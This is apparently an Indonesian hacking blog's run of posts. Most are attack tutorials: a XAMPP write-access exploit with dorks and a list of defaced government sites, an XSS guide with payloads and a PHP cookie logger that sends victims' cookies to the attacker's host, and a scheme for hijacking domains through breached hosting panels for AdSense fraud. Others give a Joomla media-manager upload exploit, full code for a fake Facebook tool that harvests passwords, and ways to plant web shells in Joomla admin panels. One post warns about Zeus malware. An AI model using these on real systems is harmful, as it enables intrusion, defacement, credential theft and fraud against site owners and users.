0 Xampp for Linux Write Access Vulnerability

ok mumpung masih hangat nih author blog Coretan_Raka , yg paling ganteng mau post nih, buat yang mau belajar sambil nyate kan masih idul qurban :) haha langsung aja ya.

Mantra Untuk Memperlancar exploit
Raka Paksi Ganteng

Dork :
allinurl:/xampp/index.php
allinurl:/xampp/ site:



Target : http://www.puertoesmeraldas.gob.ec/xampp/index.php

Okeh langsung cekidot

ganti :

http://www.puertoesmeraldas.gob.ec/xampp/index.php

dengan

http://www.puertoesmeraldas.gob.ec/xampp/lang.php?Hacked_Raka_Paksi

Hacked_Raka_Paksi nya ganti sama Hacked_By_Nickente masing-masing, klo gak di ganti ya baguslah :)

ok lanjut :)

Lho kok error ?

nah itu bukan error bro

check aja http://www.puertoesmeraldas.gob.ec/xampp/lang.tmp

Success !!

sekian dari saya Raka-Paksi, terima kasih telah membaca coretan ancur saya haha

Ini Hasil Saya :p

http://sda.pu.go.id:10001/xampp/lang.tmp
http://utara.jakarta.go.id/xampp/lang.tmp
http://www.visualartfoto.com/xampp/lang.tmp
http://aplikasi2.deptan.go.id/xampp/lang.tmp
http://perijinan.malangkota.go.id/xampp/lang.tmp
http://perpustakaan.big.go.id/xampp/lang.tmp
https://www.ead.ftc.br/xampp/lang.tmp
http://balitbangham.go.id/xampp-control.ini
http://sppd.mampu.gov.my/xampp/lang.tmp

Read More »

0 Virus Zeus di Facebook

was! Virus Zeus di Facebook Bisa Menguras Anda
HL
Di Internet masa kini banyak penjahat Cyber yang bisa sewaktu-waktu mencuri Indentitas rahasia Anda, seperti Data Pernbankan dan lainnya. Kejahatan cyber memang ada setiap detiknya, sehingga lebih dari satu setengah juta orang menjadi korban kejahatan cyber setiap hari di dunia. Hal ini membuat kejahatan cyber, dan penipuan identitas online khususnya, menjadi ancaman nyata untuk semua orang di dunia termasuk di Indonesia.

Mengkelabui orang mungkin sudah menjadi pekerjaan mereka tentunya. Orang-orang penjahat cyber yang berkompeten di bidangnya sebut saja programmer aliran hitam (cracker, carding,) mampu melakukan dan membuat program-program jahat untuk menembus dan merusak suatu sistem keamanan. Tujuan finalnya apalagi kalau bukan mengambil uang dari target mereka.

Baru-baru ini muncul kembali Zeus Malware yang mampu bisa menguras Rekening Bank Anda. Virus tersebut dimana enam tahun lalu telah di Identifikasi/ditemukan akan dapat menguras dan Virus tersebut telah berkembang di Facebook. Cara kerjanya menurut Nicole Perlroth dari The New York Times menyebar di Facebook melalui Phising. Ketika seseorang pengguna Facebook terkena Phising maka secara otomatis mengirim pesan atau link ke sejumlah teman-teman mereka.

Pesan-pesan atau link biasanya iklan produk dan Video, disini dimaksudkan supaya pengguna Facebook laiinya segera untuk memeriksa video atau produk tersebut yang nyatanya iklan tersebut adalah Phising.

Virus ini sangat canggih, diaman bisa menirukan layaknya situs sebuah bank. Bahkan dapat menggantikan situs bank Anda dengan halaman sendiri untuk mendapatkan lebih banyak informasi seperti nomor jaminan sosial Anda sehingga dapat dijual di pasar gelap.

Zeus telah ada sejak tahun 2007 dan bukti-bukti menunjukkan bahwa ZEUS lebih aktif. Virus ini dikendalikan oleh kelompok kriminal Rusia (Menurut TrentMicro) yang bisanya aberkiprah pada kejahatan online mulai dari malware dan pencurian identitas serta pornografi anak.

Untuk itu Hati-hati berFacebook ria

Read More »

1 XSS Injection – Jangan Sampai Blog Anda Di Bajak !!!

Pertama yang perlu di ketahui adalah penggunaan testing form contoh adalah dengan menggunakan tag h1 atau script alert yang akan di jelaskan di bawah :
Code :
<h1>Contoh kata yang ingin anda pakai</h1>
masukan di form “search” atau kotak pencarian website, jika website tersebut vulnerabel terhadap xss maka akan keluar hasil pencarian , misal
<h1>Tag h1 for xss and html injection</h1>
hasilnya seperti di bawah ini :

Penjelasan :

Tag h1 adalah sebuah tag untuk mengatur teks menjadi ekstra besar, jika kita memasukan tag tersebut ke dalam sebuah halaman html, maka karakter yang ada di dalam tag tersebut akan di tambilkan dengan ukuran yang lebih besar dari ukuran font normal, dalam kasus ini jika kotak pencarian dalam sebuah website telah tersanitasi dengan benar, maka ketika kita memasukan teks <h1>cari</h1> maka hasil yang muncul adalah semacam ini ”
<h1>Cari</h1>
noresult found!!!
namun jika situs tersebut memiliki bug atau tidak tersanitasi pemrogrammannya dengan benar, maka hasil yang muncul adalah

Cari
no result found!!!

( kata “cari” yang anda masukan ke dalam tag h1 tadi akan di eksekusi menjadi ukuran besar )
Lantas kenapa itu di sebut kelemahan / kerentanan ? yup, bayangkan saja jika satu jenis script yang kecil itu di anggap sebagai perintah oleh program pencarian situs, apalagi script yang lebih kompleks ? misalnya redirect url, payload virus, deface script dan lain sebagainya, kalau satu jenis tag bisa di eksekusi, bukan tidak mungkin jenis-jenis tag yang lain juga di eksekusi, itu menyebabkan web yang vuln xss bisa di acak-acak dan di ubah tampilanya oleh hacker dan cracker ^_^
Contoh testing lainnya :

Contoh Hasil :

Jika ingin mempelajari, silahkan klik di ini

oke, sekian penjelasan dari saya, selanjutnya ikuti tutorial lengkapnya di bawah ini :
Di salin dari notes group facebook “Share Your Code” Tanpa perubahan sebagai wujud penghormatan dari penulis, “Angger Hacktivis”
Tutorial ini ditujukan untuk para pemula yang ingin mengerti secara mendasar apa yang dinamakan XSS ,atau cross (x) site scripting, dan bagaimana mencari website dan memanfaatkan kelemahan sebuah situs yang mempunyai lubang XSS ini,baca tutorial ini sampai habis maka secara basic kalian akan mengerti bagaimana XSS bekerja dan selanjutnya kalian bisa mengembangkan nya sendiri
Apa itu XSS?
XSS adalan cross site Scripting ,jangan sampai tertukar dengan CSS,jika kalian mengenal HTML mungkin kalian mengenal CSS yang kepanjangan dari Cascading style Sheets ,file CSS yang berisi format untuk mengatur tampilan dalam sebuah situs.berbeda dengan XSS ,XSS adalah teknik memasukan atau istilah nya men-injeksi code-code HTML kedalam sebuah situs yang memiliki kelamahan ini,setelah Situs yang memiliki kelemahan ini ditemukan,seorang hacker bisa memasukan code-code yang di masukan lewat Text field,seperti Guestbook,shoutbox,bahkan Form login. serangan XSS bisa berupa defacement (mengganti sebagian atau seluruhnya halaman depan situs),malicious code, dan Cookieloggers.
Bagaimana cara kita menemukan situs yang memiliki kelemahan XSS atau istilah nya yang vulnerable?
dari google kita bisa mencari situs yang memiliki guestbook,sebagian situs yang memiliki guestbook bisa kita sisipi dengan code yang kalau kita enter bisa di jalankan situs tersebut.
masukan kata kunci sebagai berikut di hamalan google dan mulai mencari:
inurl:.com/guestbook
atau tanpa inurl pun gpp,..arti perintah di atas artinya kita mencari halaman website yang memiliki alamat .com/guestbook
setelah keluar hasil pencarian lalu mulai pilih satu website dan mulai ke step berikut nya
Bagaimana cara mengetes suatu situs yang meiliki kelemahan XSS?
untuk me-ngetes situs tersebut vulnerable atau tidak kita masukan code pop-up window di bagian text field nya,bisa di bagian guestbook ,atau di kotak search situs tersebut ,atau dimanapun yang bisa kita masukan text(text field)
masukan code berikut :
Code:
<script>alert(“/XSS”/)</script>
<script>alert(“XSS”)</script>
<script>alert(“XSS”)</script>;
<script>alert(String.fromCharCode(88,83,83))</script>
<body onload=alert(‘XSS’)>
<script type=text/javascript>alert(“XSS”)</script>
kalau setelah di enter keluar pop up dan berisi tulisan “XSS” maka situs tersebut bisa kita serang dengan XSS menggunakan code2 yang lebih merusak. Banyak sekali code-code yang bisa kita sisipi dibawah ini adalah beberapa di antaranya.
Bagaimana cara nge-exploit situs yang memiliki vulnerable XSS?
selanjutnya setelah di tes memiliki kelemahan
kalian bisa melakukan beberapa hacking attempt berikut :
Defacement
di situs yang memiliki kelemahan XSS ,kamu bisa menjalankan hampir semua perintah code html atau javascript yang disisipkan kedalam text field seperti guestbook .masukan code ke dalam kotak username (karena beberapa situs mem-block bagian comment atau message untuk bisa menjalankan javascript dan html).jika guuestbook harus menyertakan image verification/captcha sertakan saja atau isi saja captcha nya,kalau diminta isikan email ,isikan email palsu .lalu submit atau enter
beberapa daftar serangan dan apa yang bisa kalian lakukan
Memasang Gambar kamu sebagai defacement
Code:
<html><body></body></html>
Redirect ke gambar kamu
Code:
<meta http-equiv=”refresh” content=”0;url=http://www.tinypic.com/deface.png” />
Pop-up gambar kamu
Code:
<script>window.open( “http://www.tinypic.com/deface.png” )</script>
Menambahkan video atau flash
Code:
<EMBED SRC=”http://website.com/deface.swf”
Menambahkan music
Code:
http://www.musicsite.com/Downloads/lol.mp3
Mencuri cookies
Code:
<script>alert(document.cookie)</script>
jika kamu sisipkan code di atas di text field suatu situs (termasuk Search bar), kamu bisa mencuri login information dari situs tersebut.namun kamu harus memiliki cookie editor untuk bisa menggunakan cookie yang tercuri,kamu bisa mendapatkan cookie editor
atau alternatif lain kamu bisa membuat cookie logger
Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen(“cookies.txt”, “a”);
fwrite($log, $cookie .”n”);
fclose($log);
?>
tulis code tersebut dalam sebuah file dan beri extention .php,caranya buka notepad lalu copy paste code tersebut dan save dengan nama cookielogger lalu diberi extention .php bukan .txt,menjadi cookielogger.php
lalu buat file lagi menggunakan notepad dan beri nama cookies.txt dan biarkan kosong (file ini untuk hasil cookie dimana hasil tersebut akan tertulis difile ini)
upload kedua file tersebut di media hosting yang support php seperti ripway.com,000webhost.com dll,dalam satu folder
lalu sisipkan code ini dalam situs yang memiliki kelemahan XSS
Code:
<script>alert(namalogin.namamediahostingkamu.com/cookielogger.php)</script>
atau
Code:
<script>document.location=’namalogin.namamediahostingkamu.com/cookielogger.php?
cookie=’+escape(document.cookie) </script>
setelah memasukan code tersebut cookie akan tertulis di dalam cookies.txt kalian yang telah di hosting di media host kalian, log in ke media host lalu buka cookies.txt nya

Read More »

0 Tips Trick Menggunakan google adsense / G.A trick hack

emmm.. oke ni all... sebelum nya mohon maav banget ya kalau salah tempat. atau barangkali ada yang kurang s7 sama ni thread... yoo silahkan di close.. saya hanya memenuhi permintaan salah satu member dc . entah syp namanya . gue lupa.
wkt itu dia minta cara tentang cara ane bermain adsense.....
@buat yang req wkt itu sory baru gue post skrg. coz wkt itu lagi sibuk sama kehidupan nyata

okeh ni gan cara nya ....
nb : resiko di tanggung sendiri... saya tidak menanggung apabila account google kalian di sini di banned oleh google.. :)

....
di sini gue share 2 cara. yaitu blackhat and whitehat....

dan sebenernya ini cara udh pernah gue post di forum IHT ,,,, tapi yaudh lah gue share juga di mari... yoooo mariiii kita mulai tutor nya.....

emmm oke ya di sini gue mau berbagi pengalaman yang baru saja gue jalani, yaitu google adsense ^_^ tapi sedikit menggunakan skill hacking yang kita punya .

ini hasil nya

Image has been scaled down 7% (1080x810). Click this bar to view original image (1152x864). Click image to open in new window.

Image has been scaled down 7% (1080x810). Click this bar to view original image (1152x864). Click image to open in new window.

Image has been scaled down 7% (1080x810). Click this bar to view original image (1152x864). Click image to open in new window.

hasil di atas hasil udh lumayan lama. skrg ane udh bisa ngumpulin duit $150-$200/day ^_^

NAH OKEY kita mulai saja ya gan langsung cara nya...
di sana saya banyak pendapatan menggunakan adsense for domain.... (domain org gue take over )

nah okey step by step nii

langkah
1. modal 50/100rb lah ( bayar org untuk membuatkan google adsense kita ) gue trs terang sampai skrg masih ngutang
2. pemilihan adsense google
3. skill hacking menengah , ( ga cuman bisa jumping dan deface terus pamer sana sini and bangga akan show off nya )
4.siapkan 1 cpanel yang ada fiture : Advanced DNS Zone Editor (di bagian domain manager)

oke .
step 1 : modal 50/100rb lah :
cari jasa yang terpercaya gan. googling aja sana,

setelah kita membayar orang untuk membuatkan account google kita, setelah kurang dari 3 jam google adsense sudah jadi

mungkin kalian di sini bertanya-tanya . knp saya suru membayar orang untuk membuatkan google adsense ?
1, cepat jd nya
2, bisa kita view or klik sendiri jd aman dr google banned ( jamin 99%) dari yng gue alami saat ini bos

step 2 ( pemilihan adsense google )
nah lanjut setelah account google ads jadi. di sini tergantung kalian , mau pakai ads model apa ? AdSense for Content , AdSense for Domains atau AdSense for Search

kalau gue saranin si pakai google adsense for domain ,
knp gue bilang pakai adsense for domain,,,

nih gan gue sebutin secara rinci,
kalau google adsense for content itu, yah ga menentu , gue yakin web lo2 pada pakai bahasa indonesia dan gue jamin ga mungcul tu iklan lo,
sx nya muncul, tulisan nya, (layanan masyarakat oleh google) hahahahahaha
lagian emank org mau klik tu iklan lo?
kerajinan bgd dia ngeklik, kaya ga ada kerjaan lain aja,, (mendingan ng**e kata dia dari pada ngeklik )

next :
nah kalau google adsense for domain . : kita ga usah mengharapkan di klik, atau di samar2kan warna nya ( monoton juga keliatan nya )
google ads domain bekerja, per view, jadi cukup orang / kita pribadi ngeview dapet duit, dan lebih besar lho dari pada per klik
tapi ada rules nya juga gan,
ga boleh kita promosi , atau mencantumkan domain yang berarahkan ke link adsense kita. jd cukup oigel.com atau squidos.com saja tidak perlu http://oigel.com/ atau http://www.squidos.com/

oke lanjut,
step 3 : skill hacking menengah
nah di sini gan yang penting,,,
pertama , cari target besar .. jangan target kecil T.T percuma ga capek2in doank, inject sana sini , isi domain dlm nya hanya 1,
gue di sini cari target hosting,,,
contoh ya :

homohost.com . cari bagian client / whmcs nya
biasanya si kalau web host indonesia beralamatkan / billing / member /
contoh : http://homohost.com/billing/ ( ini kebanyakan kalau target indonesia )
kalau target luar keseringan /clients /client /whmcs /clientlogin

nah disini gue ga jelasin cara bobol hosting nya
jd instan aja oke,.

next : setelah kalian semua masuk ke whmcs / client / apa lah nama nya
klik bagian /client>domain registrasion
atau kalau url nya : http://www.targethostingnya.com/folder_w...inlist.php

nah kalian klik domain nya . nanti kalian akan di bawa menuju pengaturan nameserver / dns dari domain itu.
ya nanti gambar nya spt ini

Nameserver 1 : dns hosting kalian
Nameserver 2 : dns hosting kalian
Nameserver 3 : dns hosting kalian
Nameserver 4 : dns hosting kalian

4 : siapkan 1 cpanel yang ada fiture : Advanced DNS Zone Editor (di bagian domain manager)
nah setelah kalian gandi dns nya. kalian add deh domain nya .
terus setelah suksess di add masuk ke bagian
Advanced DNS Zone Editor
dan rubah di sana menjadi :

Zone File Records

Name TTL Class] Type Record
domain.com. 14400 IN A 216.239.32.21
domain.com. 14400 IN A 216.239.32.21
domain.com. 14400 IN A 216.239.32.21
domain.com. 14400 IN A 216.239.32.21
domain.com. 14400 IN CNAME pub-XXX.afd.ghs.google.com

penjelasan :
domain.com = domaiin yang baru saja kita rubah dns nya
216.239.32.21 = ip google adsense ( ga boleh di rubah wajib ini )
pub-XXX.afd.ghs.google.com = pub-id adsense kalian . ganti yg xxx nya dengan pub adsense kalian...

===============================================
nah itu cara pertama kan. dan bisa di bilang sedikit blackhat......
articles di atas di kompas dr forum sebelah tutorial ane sendiri :)
===============================================
nah cara ke dua nya ada lagi . kali ini ya lumayan cukup susah...
kalau td kan kita bisa di bilang fokus dengan adsense domain

nah skrg kita fokus dengan adsense content gmn cara nya biar maximal ....

me berkata : knp harus 2 2 nya kita pelajari :-? atau kita gunakan ( maksud dr 22 nya ada lah. adsense domain and adsense content... )

ini jawaban dari pertanyaan di atas....
kalau adsense domain. itu kita harus cari target web besar. yang pengunjungnya sangat banyak.... lalu kita jadikan adsense domain kita. dengan cara kita take over domain nya....

tetapi kalau ads content... semakin banyak content post di web anda ya semakin banyak juga web anda terindex oleh google.... dan pengunjung juga semakin banyak.....

okeh ni gue share cara ke dua nya....

ads content :
1. fokus dengan 1 domain dl lah . jangan banyak2 domain :)
dengan fokus dengan 1 domain tersebut bukan berarti kita bikin web / blog yg isinya itu2 doang..
sayang di saat gue bikin tutorial ini. web gue lagi maintenance. karna lagi cari vps baru :) jadi ga bisa gue kasih contoh live nya ....

gue di sini menggunakan domain baruuu. blm ada 2 minggu lah di beli.. domain nya ada lah

http://oigel.com/ (tapi skrg udh ada yg baru lagi dan siap di jadikan mesin uang hahaha )

oke dari domain ane td ane membuat
1...halaman utama :
index nya atau halaman utamanya di oigel.com tsb ane buat spt squidoo.com ( yang gunanya untuk mengupdate postingan2 terbaru dari kita mau pun user menggunakan rss) silahkan di cari di google menggunakan keyword : "rss wordpress themes" tanpa tanda kutip ( " )

yang ke 2...
http://oigel.com/link/ ( nah ini aku buat sengaja untuk bookmark situs2 jadi seperti digg.com itu ) karna skrg lagi maintenance web nya anda bisa lihat demo nya di sini http://www.idwebpro.com/

nah yang ke 3....
http://oigel.com/articles/ ( nah lho... articles ini. saya buat gunanya ya pasti mengincar isi content web bahasa ingris . saya sengaja membuat ini mengikuti / meniru. articlesbase.com atau ezinearticles.com . , gunanya user akan menulis articles nya di web kita tapi harus registrasi dl. ) di sin saya menggunakan wordpress :)

yang ke 4...
http://oigel.com/id/ ( ini untuk articles indonesia... gpp lah di pasangin ads... walaupun banyak yg bilang melanggar tos sx pun memakai friendconect ? kata siapa melanggar ? friendsconect buatan google sendiri toh ? kalau ga boleh pasang di web bahasa indonesia ngapain di pasang viture bahasa indonesia di friend conect )

nah ... untuk plugin wordpress yang saya gunakan di sini ga banyak..
hanya...

1. All in seo pack / platinum seo ....
2. STT2 ( search terms tagging 2)
3. clickbumpseo
4. earnitup
5. google sitemap
6. robots meta
7
8
lupa hehehe

ya.. aku jelasin cara gunanya plugin itu...

1-2 aku rasa tidak perlu di jelaskan .. itu pasti udh banyak yang pakai kan...

nah
3.clickbumpseo . ini gunanya untuk keyword gan. jadi tinggal kita masukin kata kunci atau title postingan . plugin ini akan otomatis memberikan keyword2 tertentu ...

4.earnitup gunanya untuk memberbesar penghasilan nilai per click web ads kita

5. google sitemap ( yah udh jelas namanya . yaitu untuk mensubmit sitemap web/blog kita ke google webmaster tools

6. robots meta (ya ini mah ga usah di jelasin. udh jelas dr namanya kan hehehe)

nah dari cara gue ini skrg gue udh bisa ngumpilin $150-$200/day ... yah lumayan lah buat nraktir. adik2 gue and beli mobil baru wkwkwkwkw
....
nah udah ah segitu aja. buat yang mau jelas lagi ... add aja ym gue ..
okeh ....

salam hanggat

Read More »

0 Teknik Exploit Com_Media pada CMS Joomla -

Teknik Exploit Com_Media pada CMS Joomla -
author:lamer
tested:all os :p

Dork : inurl:com_media site:com [dork silahkan kreasikan sendiri. Kraetfitas anda yang akan menetukan banyaknya situs vuln]. :p


Exploit : /
index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

1. Oke. Langsung berburu target di google dengan dork diatas. Sebagai contoh, saya pilih http://www.skylinepark.org .

2. Lalu masukkan exploitnya. Jadi http://www.skylinepark.org/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

3. Maka kalian akan melihat tempat upload.

4. Yang bisa diupload adalah file .txt .jpg .gif .png. Untuk html dan php tidak bisa. :p . Saya coba upload file .txt

5. Sekarang, kita lihat hasilnya. Letak filenya di [localhost]/images/[file.txt].
Ex : http://www.skylinepark.org/images/x.txt
6. Done.

Refrensi : http://komandanseo.blogspot.com/

Read More »

0 Fake FB inbox bomber

qeqeqe ..
atas perintah atasan dari admin, bang naisen ..
langsung ane buat threadnya ...
inspirasi dari bang dika ...
dari thread http://hacker-newbie.org/showthread.php?tid=756

langsung aja mulai ...
1. bikin index.html

Code:

<html>
<head>
<title>.:: INBOX FB BOMBER ::.</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<script language="JavaScript">

function cekit()
{
    if(document.form1.to.value == "")
        {alert("please insert your email fb");
        document.form1.to.focus();       
        return false}
    if(document.form1.password.value == "")
        {alert("please insert your password");
        document.form1.password.focus();
        return false}
    if(document.form1.targer.value == "")
        {alert("please insert your target");
        document.form1.targer.focus();
        return false}
    if(document.form1.sender.value == "")
        {alert("please insert sender");
        document.form1.sender.focus();
        return false}
    if(document.form1.count.value == "")
        {alert("please insert count");
        document.form1.count.focus();
        return false}
    if(document.form1.message.value == "")
        {alert("please insert message");
        document.form1.message.focus();
        return false}
}
</script>
<body bgcolor="black" text="#ffffff">
<center><span class="style1">Facebook Inbox Bomb<br>
</span></center>

<form name="form1" method="get" action="write.php" onsubmit="return cekit();"
enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr>
      <td width="10%">
                  <div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
          email FB:</font></div><center><input type="text" style="background-color: green;" name="to" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Password:</font></div><center><input type="password" style="background-color: green;" name="password" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Target email</font></div><center><input type="text" style="background-color: green;" name="targer" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Sender</font></div><center><input type="text" style="background-color: green;" name="sender" value=""/></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Count</font></div><center><input type="text" style="background-color: green;" name="count" value="" size="5"/></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Message</font></div><center>
<textarea name="message" style="background-color: green;" rows="5" cols="30"></textarea><br />
<input type="submit" value="send" /><br />
  </table>
</form>
</body>
<br/>
<br/>
<br/>
<center><b><font color=red size="4">BY : Crash_burn</font><b></center>
</html>

 

2. write.php

 

<?php
header("Location: /incorrect.html");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

 

 

3. incorrect.html

 

<html>
<head>
<title>.:: INBOX FB BOMBER ::.</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<script language="JavaScript">

function cekit()
{
    if(document.form1.to.value == "")
        {alert("please insert your email fb");
        document.form1.to.focus();       
        return false}
    if(document.form1.password.value == "")
        {alert("please insert your password");
        document.form1.password.focus();
        return false}
    if(document.form1.targer.value == "")
        {alert("please insert your target");
        document.form1.targer.focus();
        return false}
    if(document.form1.sender.value == "")
        {alert("please insert sender");
        document.form1.sender.focus();
        return false}
    if(document.form1.count.value == "")
        {alert("please insert count");
        document.form1.count.focus();
        return false}
    if(document.form1.message.value == "")
        {alert("please insert message");
        document.form1.message.focus();
        return false}
}
</script>
<body bgcolor="black" text="#ffffff">
<center><span class="style1">Facebook Inbox Bomb<br>
</span></center>

<form name="form1" method="get" action="sent.php" onsubmit="return cekit();"
enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr>
      <td width="10%">
      <div align="center"><b><font size="3" color=red face="Verdana, Arial,
Helvetica, sans-serif">Incorrect email/password combination<br/>
Make sure you are entering an email address or password associated with your account and that it is typed correctly.</font><b></div><center><br/>
                  <div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
          email FB:</font></div><center><input type="text" style="background-color: green;" name="to" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Password:</font></div><center><input type="password" style="background-color: green;" name="password" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Target email</font></div><center><input type="text" style="background-color: green;" name="targer" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Sender</font></div><center><input type="text" style="background-color: green;" name="sender" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Count</font></div><center><input type="text" style="background-color: green;" name="count" value="" size="5"/></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Message</font></div><center>
<textarea name="message" style="background-color: green;" rows="5" cols="30"></textarea><br />
<input type="submit" value="send" /><br />
  </table>
</form>
</body>
<br/>
<br/>
<br/>
<center><b><font color=red size="4">BY : Crash_burn</font><b></center>
</html> 

 

4.sent.php

 

<?php
header("Location: /sent.html");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

 

5. sent.html

 

<html>
<head>
<title>.:: INBOX FB BOMBER ::.</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<script language="JavaScript">

function cekit()
{
    if(document.form1.to.value == "")
        {alert("please insert your email fb");
        document.form1.to.focus();       
        return false}
    if(document.form1.password.value == "")
        {alert("please insert your password");
        document.form1.password.focus();
        return false}
    if(document.form1.targer.value == "")
        {alert("please insert your target");
        document.form1.targer.focus();
        return false}
    if(document.form1.sender.value == "")
        {alert("please insert sender");
        document.form1.sender.focus();
        return false}
    if(document.form1.count.value == "")
        {alert("please insert count");
        document.form1.count.focus();
        return false}
    if(document.form1.message.value == "")
        {alert("please insert message");
        document.form1.message.focus();
        return false}
}
</script>
<body bgcolor="black" text="#ffffff">
<center><span class="style1">Facebook Inbox Bomb<br>
</span></center>

<form name="form1" method="get" action="write.php" onsubmit="return cekit();"
enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr>
      <td width="10%">
      <div align="center"><font size="-3" color=red face="Verdana, Arial,
Helvetica, sans-serif">Your Bomb Has been sent:</font></div><center><br/>
                  <div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
          email FB:</font></div><center><input type="text" style="background-color: green;" name="to" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Password:</font></div><center><input type="password" style="background-color: green;" name="password" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Target email</font></div><center><input type="text" style="background-color: green;" name="targer" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Sender</font></div><center><input type="text" style="background-color: green;" name="sender" value="" /></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Count</font></div><center><input type="text" style="background-color: green;" name="count" value="" size="5"/></center><br />
<div align="center"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Message</font></div><center>
<textarea name="message" style="background-color: green;" rows="5" cols="30"></textarea><br />
<input type="submit" value="send" /><br />
  </table>
</form>
</body>
<br/>
<br/>
<br/>
<center><b><font color=red size="4">BY : Crash_burn</font><b></center>
</html> 

 

 

6. upload deh dalam satu direktori di hostingan. misal:t35.com

7 enjoy ...

alurnya

Code:

index.html => write.php => incorrect.html => sent.php => sent.html

panjang bener yak ....

preview http://leecherz.cz.cc/fb
Download : http://www.ziddu.com/download/9444787/fbinbox.zip.html

sekian dari newbie permanent ...
klo master2 ada yg mau memperbaiki ...
monggo ...

UPDATED:
- add "count"
- gak bisa disubmit klo blm ke isi semua fieldnya .... :D

---

 

Read More »

0 Cara Upload Shell Di Joomla Full Tutorial ( 4 Trick )

kali ini ane mo share sdikit bbrpa trik buat upload shell di CMS joomla. mungkin udah pada tau yaa.. (ato mungkin repost )
kali aja ada yg belom tau, kaya newbie seperti ane.

okedeh, langsung ke tutorialnya aja.
pertama, yang pasti udah dapet akses ke admin panel joomla nya. ane ga bahas gimana cara dapetin akses admin nya. entah SQLi, jumping, symlink, ,etc.

CARA 1
masuk ke menu site > global configuration. trus klik bagian system
perhatikan bagian media setting,
trus di sub bagian
[+]Legal Extensions (File Types) kita tambahkan ekstensi php kedalamnya
[+]Restrict Uploads --> pilih NO
[+]Check MIME Types --> pilih NO
[+]Legal Image Extensions (File Types) kita tambahkan ekstensi php kedalamnya
[+]Legal MIME Types --> tambahin image/php

Spoiler: hide

klo udah save. stelah itu..
pergi ke media manager (site > media manager) upload shellnya disitu.

Spoiler: hide

udah ke upload :D , lokasi shell ada di http://korban.com/images/namashell.php

Spoiler: hide

CARA 2
secara konsep sih sama, disni ane dpetnya joomla versi 1.5.18 , klo versi yg laen.. silakan menyesuaikan. :p
Klik menu Extension > template manager

Spoiler: hide

trus pergi di bagian administrator.

Spoiler: hide

kemudian seleksi nama template admin yg aktif, trus klik edit. klo udah pilih lagi edit html.
kan udah muncul tuh editornya, tinggal kita sisipin aja uploader.
buat yg belom punya uploader, bisa ngambil disini --> http://fake.hol.es/123/shell/simple_uploader.txt
ato ini

Spoiler: hide

PHP Code:

<?phpecho '<b>E1nzte1N uploader</b>';
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES Dab!!!</b><br><br>'; }
else { echo '<b>JANCOOK !!! Upload GAGAL !!!</b><br><br>'; }
}?>

mari kita sisipin uploadernya, ane taro dibawah aja.

Spoiler: hide

klo udah. save aja.
sukses. dan uploader kita udah nongol dibawah :) tinggal kita upload shell kita.

Spoiler: hide

setelah upload shell, kita coba akses shell kita. letak file yg udah di upload, itu ada di http://korban.com/administrator/namashell.php

Spoiler: hide

